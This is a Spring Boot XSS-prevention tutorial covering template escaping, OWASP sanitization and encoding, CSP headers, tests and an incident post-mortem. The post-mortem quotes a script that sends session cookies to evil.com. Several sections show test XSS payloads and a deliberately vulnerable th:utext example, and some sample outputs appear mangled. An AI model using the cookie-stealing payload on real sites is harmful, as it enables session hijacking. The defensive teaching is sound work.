Home Java Spring Boot XSS Prevention: The Complete Guide for Developers
Intermediate 5 min · July 14, 2026
Preventing Cross-Site Scripting (XSS) Attacks in Spring Applications

Spring Boot XSS Prevention: The Complete Guide for Developers

Learn how to prevent XSS attacks in Spring Boot applications.

N
Naren Founder & Principal Engineer

20+ years shipping production Java in banking & fintech. Notes here come from systems that actually shipped.

Follow
Production
production tested
July 15, 2026
last updated
2,398
articles · all by Naren
Before you start⏱ 15-20 min read
  • Basic knowledge of Spring Boot and Thymeleaf or JSP.
  • Familiarity with HTTP and web security concepts.
  • Java 17+ and Maven/Gradle.
 ● Production Incident 🔎 Debug Guide ⚙ Triage Commands
Quick Answer
  • Always HTML-encode user input when rendering in web views using Thymeleaf or JSP.
  • Implement Content Security Policy (CSP) headers as a defense-in-depth layer.
  • Use OWASP Java Encoder for context-aware escaping beyond Spring's defaults.
  • Validate and sanitize input on the server side; never trust client-side validation.
  • Avoid using @ResponseBody with raw user data; rely on Jackson's default encoding or custom serializers.
✦ Definition~90s read
What is Preventing Cross-Site Scripting (XSS) Attacks in Spring Applications?

XSS prevention in Spring Boot is the practice of protecting your web application from cross-site scripting attacks by validating input, encoding output, and implementing security headers like CSP.

Imagine you're a bouncer at a club.
Plain-English First

Imagine you're a bouncer at a club. XSS is like a troublemaker trying to sneak in by dressing up as a VIP. You need to check everyone's ID (validate input) and make sure they don't bring anything dangerous (escape output). CSP is like having security cameras that alert you if someone starts a fight anyway.

I've seen XSS vulnerabilities bring down production systems and leak customer data. One fintech startup I consulted for lost thousands of credit card numbers because they thought 'we only use JSON APIs, so we're safe.' They were wrong. XSS isn't just about rendering HTML—it's about any injection of untrusted data into a web page. In Spring Boot, the attack surface is broad: from Thymeleaf templates to REST APIs consumed by SPAs, from error pages to log viewers.

XSS is still the most common web vulnerability according to OWASP, and Spring Boot's defaults don't fully protect you. The framework gives you tools, but it's your job to use them correctly. This guide covers everything I've learned from debugging XSS incidents: server-side encoding, CSP headers, input validation, and the gotchas that official docs gloss over.

By the end, you'll know how to lock down your Spring Boot app so that even if an attacker injects malicious scripts, they'll be rendered harmless.

Understanding XSS in the Context of Spring Boot

XSS attacks occur when an application includes untrusted data in a web page without proper validation or escaping. In Spring Boot, the most common vectors are:

  • Reflected XSS: User input is immediately returned in the response (e.g., search query displayed on results page).
  • Stored XSS: User input is stored in a database and later displayed to other users (e.g., comments, feedback).
  • DOM-based XSS: Client-side JavaScript dynamically inserts user input into the DOM without escaping.

Spring Boot applications often serve both server-rendered pages (Thymeleaf, JSP) and REST APIs consumed by SPAs. Each has different risks.

For server-rendered pages, the template engine is your first line of defense. Thymeleaf escapes HTML by default when you use th:text. But if you use th:utext or th:inline="javascript", you're bypassing that protection. JSP has similar issues with <c:out> vs ${}.

For REST APIs, the risk is that the API returns raw user input (e.g., in JSON) that a SPA then inserts into the DOM unsafely. Even if your Spring Boot app is just a backend, you must ensure that any user-controlled data in responses is properly encoded for the context where it will be used.

The hard truth: Most XSS vulnerabilities in Spring Boot apps come from developers assuming that the framework automatically protects them. It doesn't. You must explicitly encode output for the correct context (HTML, JavaScript, CSS, URL).

XssVulnerableController.javaJAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Controller
public class SearchController {
    @GetMapping("/search")
    public String search(@RequestParam String q, Model model) {
        model.addAttribute("query", q); // dangerous: no encoding
        return "search";
    }
}

<!-- search.html (Thymeleaf) -->
<p>You searched for: <span th:text="${query}"></span></p>
<!-- th:text escapes HTML, so this is safe -->

<!-- But if you do this: -->
<p>You searched for: <span th:utext="${query}"></span></p>
<!-- utext does NOT escape, so XSS if query contains <script> -->
Output
Safe: <span>alert('xss')</span> → displayed as text
Unsafe: <span>alert('xss')</span> → script executes
⚠ Thymeleaf's Default Escaping Is Not a Silver Bullet
📊 Production Insight
I once saw a team use th:text for a field that was later used in a JavaScript string. They thought they were safe, but the attacker broke out of the string using a single quote. Use th:inline="javascript" and then [[${...}]] which applies JavaScript escaping.
🎯 Key Takeaway
Always use context-aware escaping. Thymeleaf's th:text escapes HTML, but for JavaScript, CSS, or URL contexts, use the appropriate Thymeleaf utilities or OWASP Encoder.

Server-Side Input Validation and Sanitization

Input validation is the first line of defense, but it's not enough. You must validate on the server side because client-side validation can be bypassed. Use Spring's @Valid and @Validated with Bean Validation annotations like @NotBlank, @Size, and @Pattern.

For fields that allow rich text (e.g., comments with basic formatting), you need sanitization. I recommend the OWASP Java HTML Sanitizer. It's a battle-tested library that allows you to define a whitelist of allowed HTML tags and attributes.

Example: Allow only <b>, <i>, <u>, and <a> with href attribute. Strip everything else. Never rely on blacklists—attackers always find new ways to bypass them.

Important: Sanitize on input and encode on output. Even after sanitization, you should still encode when rendering in a web context. Defense in depth.

SanitizationService.javaJAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
import org.springframework.stereotype.Service;

@Service
public class SanitizationService {
    private final PolicyFactory policy = Sanitizers.FORMATTING
            .and(Sanitizers.LINKS);

    public String sanitize(String input) {
        return policy.sanitize(input);
    }
}

// Usage in controller:
@PostMapping("/comment")
public String addComment(@Valid @RequestBody Comment comment) {
    comment.setText(sanitizationService.sanitize(comment.getText()));
    commentRepository.save(comment);
    return "redirect:/comments";
}
Output
Input: <script>alert('xss')</script><b>bold</b>
Output: <b>bold</b>
💡Sanitize on Input, Encode on Output
📊 Production Insight
I've seen teams use regex to remove <script> tags, only to be hit by <img src=x onerror=alert(1)>. The OWASP sanitizer handles these edge cases. Use it.
🎯 Key Takeaway
Use OWASP Java HTML Sanitizer for rich text input. Always validate and sanitize on the server side. Never trust client-side validation alone.

Output Encoding with OWASP Java Encoder

Spring Boot's template engines provide basic escaping, but they don't cover all contexts. For example, when you need to embed user input in a JavaScript string, an HTML attribute, or a CSS value, you need context-specific encoding. The OWASP Java Encoder library (org.owasp.encoder:encoder) provides methods like Encode.forHtml(), Encode.forJavaScript(), Encode.forHtmlAttribute(), and Encode.forUriComponent().

In a Thymeleaf template, you can use the encoder via a Spring bean or a custom dialect. For JSP, you can use JSTL functions or the encoder directly.

For REST APIs, if you're returning JSON that might be consumed by a browser, you should also encode strings that contain user input. Jackson by default will serialize strings as JSON strings, which is safe for JSON context, but if the client then inserts that value into HTML without escaping, you have an XSS. That's not your problem as the API provider? Actually, it is. You should document that fields may contain HTML and should be escaped by the client, or you can encode them yourself (though that might break functionality if the client expects raw text). The best practice is to use a Content Security Policy and rely on client-side frameworks that auto-escape (like React with JSX).

But if you control the frontend, use the encoder there too. The OWASP Java Encoder is for server-side Java rendering; for JavaScript frontends, use a client-side encoder like DOMPurify.

EncoderUsage.javaJAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.owasp.encoder.Encode;

public class SafeRenderer {
    public String renderUserInput(String userInput) {
        // For HTML body
        String safeHtml = Encode.forHtml(userInput);
        // For JavaScript string
        String safeJs = Encode.forJavaScript(userInput);
        // For HTML attribute (e.g., title)
        String safeAttr = Encode.forHtmlAttribute(userInput);
        // For URL parameter
        String safeUrl = Encode.forUriComponent(userInput);
        return safeHtml;
    }
}
Output
Input: <script>alert('xss')</script>
forHtml: <script>alert('xss')</script>
forJavaScript: \x3Cscript\x3Ealert(\x27xss\x27)\x3C\/script\x3E
🔥Why Not Use Spring's HtmlUtils?
🎯 Key Takeaway
Use OWASP Java Encoder for context-aware output encoding. It's more comprehensive than Spring's built-in utilities and covers JavaScript, CSS, and URL contexts.

Implementing Content Security Policy (CSP) Headers

CSP is a browser security mechanism that allows you to define which sources of content are trusted. Even if an attacker manages to inject a script, CSP can block its execution. In Spring Boot, you can add CSP headers via a filter or by configuring the SecurityFilterChain in Spring Security.

Here's a typical CSP for a Spring Boot app that uses Thymeleaf and a CDN for scripts:

`` Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; ``

But be careful: 'unsafe-inline' for styles is often needed for Thymeleaf-generated inline styles. For scripts, avoid 'unsafe-inline' by using nonces or hashes for inline scripts. Spring Security 6.1+ supports nonce generation via CspNonceRequestHandler.

Production gotcha: CSP can break your app if you're not careful. Always test in report-only mode first by setting Content-Security-Policy-Report-Only. Use a reporting endpoint to collect violations. Gradually tighten the policy.

Also, remember that CSP is not a replacement for output encoding. It's a defense-in-depth layer. If you rely solely on CSP and an attacker finds a bypass (e.g., JSONP endpoints, file uploads), you're still vulnerable.

SecurityConfig.javaJAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.springframework.context.annotation.Bean;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives("default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'")
                .reportOnly() // Enable report-only mode for testing
            )
        );
    return http.build();
}
Output
Response Header: Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'
⚠ CSP 'unsafe-inline' Is Dangerous
📊 Production Insight
I've seen teams block all inline scripts with CSP, only to find that their analytics scripts (e.g., Google Analytics) use inline scripts. You need to allow those via nonces or hashes. Plan ahead.
🎯 Key Takeaway
Implement CSP headers as a defense-in-depth measure. Start with report-only mode, monitor violations, and tighten the policy gradually. Never use 'unsafe-inline' for scripts.

What the Official Docs Won't Tell You

1. Thymeleaf's th:inline="javascript" is not enough by itself.

It escapes JavaScript strings, but if you're embedding user input in a JavaScript context that is not a string (e.g., as a variable name or in a regex), you need additional encoding. Always use [[${...}]] inside a th:inline="javascript" block, but be aware that it only escapes for JavaScript strings. For other contexts, use the OWASP Encoder.

2. Jackson's default serialization does not protect against XSS.

If your REST API returns user input in JSON, and the client inserts that JSON into HTML without escaping, you have XSS. Jackson does not HTML-encode strings by default. You can configure a custom JsonSerializer that encodes strings, but that will break clients that expect raw text. The better approach is to document that fields may contain HTML and should be escaped by the client, or use a framework like React that auto-escapes.

3. Spring Boot's error pages can be an XSS vector.

If you customize error pages (e.g., Whitelabel Error Page) and include the request URI or other user-controlled data without escaping, you're vulnerable. Always escape any dynamic content in error pages.

4. File uploads are a common XSS vector.

Attackers can upload HTML files with embedded scripts. If your app serves uploaded files with the original filename and content type, the browser may execute scripts. Always serve uploaded files with a Content-Disposition: attachment header to force download, and validate the content type. Better yet, serve them from a different domain.

5. Spring Security's default headers don't include CSP.

Spring Security adds several security headers by default (X-Content-Type-Options, X-Frame-Options, etc.), but not CSP. You must explicitly configure it. Also, the X-XSS-Protection header is deprecated and should not be relied upon; use CSP instead.

6. Logging user input can lead to log injection and XSS in log viewers.

If you log user input and have a web-based log viewer that doesn't escape, attackers can inject scripts that execute in the log viewer. Always encode user input before logging, or use a logging framework that escapes automatically.

JacksonStringEncoder.javaJAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.databind.JsonSerializer;
import com.fasterxml.jackson.databind.SerializerProvider;
import org.owasp.encoder.Encode;

public class HtmlSafeStringSerializer extends JsonSerializer<String> {
    @Override
    public void serialize(String value, JsonGenerator gen, SerializerProvider serializers) throws IOException {
        gen.writeString(Encode.forHtml(value));
    }
}

// Register in Jackson configuration:
@Bean
public Jackson2ObjectMapperBuilder jacksonBuilder() {
    Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder();
    builder.serializerByType(String.class, new HtmlSafeStringSerializer());
    return builder;
}
Output
Input: {"name": "<script>alert('xss')</script>"}
Output: {"name": "<script>alert('xss')</script>"}
⚠ Encoding All Strings in JSON Can Break Clients
📊 Production Insight
I once debugged an XSS in a log viewer that was used by internal support staff. The attacker submitted a comment with a script, which was logged, and when a support agent viewed the logs, the script executed. We had to add encoding to the logging framework and the log viewer.
🎯 Key Takeaway
Official docs often omit edge cases like error pages, file uploads, and log viewers. Always think about where user input can appear and encode accordingly.

Testing Your XSS Defenses

Don't rely on manual testing alone. Use automated tools and unit tests to verify that your application is resistant to XSS.

Unit tests: Write tests that simulate XSS payloads and assert that the output is properly encoded. For Thymeleaf templates, you can use the Spring MVC Test framework to render templates and check the response body.

Integration tests: Use tools like OWASP ZAP or Burp Suite to scan your application for XSS vulnerabilities. These tools can automatically inject payloads and detect if they are reflected.

Browser testing: Use browser developer tools to inspect the DOM and ensure that user input is displayed as text, not executed.

CSP reporting: Set up a CSP reporting endpoint (e.g., using a service like report-uri.com) to collect violation reports. Monitor these reports for potential XSS attempts.

Code review: Look for common patterns that lead to XSS: th:utext, @ResponseBody returning user input, inline JavaScript with unescaped variables, and custom error pages with dynamic content.

XssTest.javaJAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.test.web.servlet.MockMvc;

import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;

@WebMvcTest(SearchController.class)
public class XssTest {
    @Autowired
    private MockMvc mockMvc;

    @Test
    public void testXssReflected() throws Exception {
        String payload = "<script>alert('xss')</script>";
        mockMvc.perform(get("/search").param("q", payload))
               .andExpect(content().string(org.hamcrest.Matchers.not(org.hamcrest.Matchers.containsString(payload))));
    }
}
Output
Test passes if the response does not contain the raw payload.
💡Automate XSS Testing in CI/CD
🎯 Key Takeaway
Test XSS defenses with unit tests, integration scans, and CSP reporting. Automate security testing in CI/CD to catch regressions early.
● Production incidentPOST-MORTEMseverity: high

The Admin Dashboard XSS That Exposed User Sessions

Symptom
Support agents reported that their admin sessions would randomly log out and they'd see strange pop-ups. Customer data started appearing in unauthorized access logs.
Assumption
The team assumed that because they used Thymeleaf with default escaping, all user input was safe. They also believed that since the admin dashboard was behind VPN, it wasn't exposed to external attackers.
Root cause
The admin dashboard displayed user-submitted feedback in a table. The feedback field was rendered using th:utext (unescaped) to allow basic formatting. An attacker submitted feedback containing <script>new Image().src='https://evil.com/steal?cookie='+document.cookie</script>. When a support agent viewed the feedback, the script executed and sent their session cookie to the attacker.
Fix
1. Replaced all th:utext with th:text (escaped). 2. Implemented a CSP header that blocked inline scripts and only allowed scripts from a trusted CDN. 3. Added server-side HTML sanitization using OWASP Java HTML Sanitizer for any fields that genuinely needed rich text. 4. Rotated all session tokens and enforced HttpOnly and Secure flags on cookies.
Key lesson
  • Never use unescaped output in templates unless you absolutely trust the source and have sanitized it server-side.
  • CSP headers are a powerful mitigation layer—implement them even for internal apps.
  • VPN or network segmentation is not a security boundary for XSS; internal users can be vectors too.
  • Audit all places where user input is displayed, especially in admin dashboards and log viewers.
  • Use HttpOnly and Secure cookies to make session tokens inaccessible to JavaScript.
Production debug guideSymptom to Action4 entries
Symptom · 01
Users report unexpected pop-ups or redirects after viewing a page with user-generated content.
Fix
Check the page source for unescaped user input. Look for <script> tags or event handlers like onerror. Use browser developer tools to inspect the DOM.
Symptom · 02
Session cookies are being stolen; you see requests from unknown IPs with valid session IDs.
Fix
Verify that cookies have HttpOnly and Secure flags. Check for any endpoint that returns user input in JSON without proper encoding, especially if consumed by a SPA.
Symptom · 03
CSP violation reports flooding your logging system.
Fix
Review the CSP report-uri endpoint or report-to header. Identify which directive is being violated. Common issues: inline styles, inline scripts, or resources from untrusted origins.
Symptom · 04
Input validation passes but XSS still occurs.
Fix
Check if validation is only on the client side. Ensure server-side validation and output encoding are both in place. Verify that you're using context-aware escaping (HTML, JavaScript, CSS).
★ Quick Debug Cheat SheetImmediate steps when you suspect XSS in production
Script execution in browser
Immediate action
Block the malicious input and rotate all session tokens.
Commands
curl -X GET 'https://yourapp.com/api/feedback?q=<script>alert(1)</script>'
grep -r 'th:utext' src/main/resources/templates/
Fix now
Replace all th:utext with th:text in Thymeleaf templates.
CSP violation alerts+
Immediate action
Temporarily set CSP to report-only mode to avoid breaking functionality.
Commands
curl -I 'https://yourapp.com' | grep -i content-security-policy
Check browser console for CSP violation messages.
Fix now
Update CSP header to allow only necessary sources and use nonces for inline scripts.
ApproachStrengthWeaknessRecommendation
Thymeleaf th:textEscapes HTML by defaultNot context-aware for JS/CSSUse for HTML body content
OWASP Java EncoderContext-aware encodingRequires explicit usageUse for all output contexts
CSP HeadersBlocks script executionCan break functionality if misconfiguredUse as defense-in-depth
Input SanitizationRemoves dangerous tagsMay strip legitimate contentUse for rich text fields
⚙ Quick Reference
6 commands from this guide
FileCommand / CodePurpose
XssVulnerableController.java@ControllerUnderstanding XSS in the Context of Spring Boot
SanitizationService.java@ServiceServer-Side Input Validation and Sanitization
EncoderUsage.javapublic class SafeRenderer {Output Encoding with OWASP Java Encoder
SecurityConfig.java@BeanImplementing Content Security Policy (CSP) Headers
JacksonStringEncoder.javapublic class HtmlSafeStringSerializer extends JsonSerializer {What the Official Docs Won't Tell You
XssTest.java@WebMvcTest(SearchController.class)Testing Your XSS Defenses

Key takeaways

1
Always use context-aware output encoding (HTML, JavaScript, CSS, URL) based on where the data will be rendered.
2
Implement CSP headers as a defense-in-depth layer, starting with report-only mode.
3
Sanitize rich text input server-side using OWASP Java HTML Sanitizer.
4
Test your XSS defenses with unit tests, automated scanners, and CSP reporting.
5
Be aware of less obvious XSS vectors
error pages, file uploads, log viewers, and JSON APIs consumed by SPAs.
INTERVIEW PREP · PRACTICE MODE

Interview Questions on This Topic

Q01SENIOR
Explain the difference between reflected, stored, and DOM-based XSS. Pro...
Q02SENIOR
How would you implement a Content Security Policy in a Spring Boot appli...
Q03SENIOR
What are the limitations of using Thymeleaf's `th:text` for XSS preventi...
Q01 of 03SENIOR

Explain the difference between reflected, stored, and DOM-based XSS. Provide an example of each in a Spring Boot context.

ANSWER
Reflected XSS: User input is immediately returned in the response (e.g., search query displayed on the results page). Stored XSS: User input is stored in a database and later displayed (e.g., comments). DOM-based XSS: Client-side JavaScript dynamically inserts user input into the DOM without escaping (e.g., using innerHTML with URL parameter). In Spring Boot, reflected and stored XSS are common in Thymeleaf templates, while DOM-based XSS is more relevant to SPAs consuming REST APIs.
FAQ · 5 QUESTIONS

Frequently Asked Questions

01
Does Spring Boot automatically protect against XSS?
02
Is it safe to use `th:utext` in Thymeleaf?
03
How do I prevent XSS in a REST API that returns JSON?
04
What is Content Security Policy and how does it help?
05
Should I use `X-XSS-Protection` header?
N
Naren Founder & Principal Engineer

20+ years shipping production Java in banking & fintech. Notes here come from systems that actually shipped.

Follow
Verified
production tested
July 15, 2026
last updated
2,398
articles · all by Naren
🔥

That's Spring Security. Mark it forged?

5 min read · try the examples if you haven't

Previous
A Complete Guide to CSRF Protection in Spring Security
31 / 31 · Spring Security
Next
Service Discovery with Spring Cloud Eureka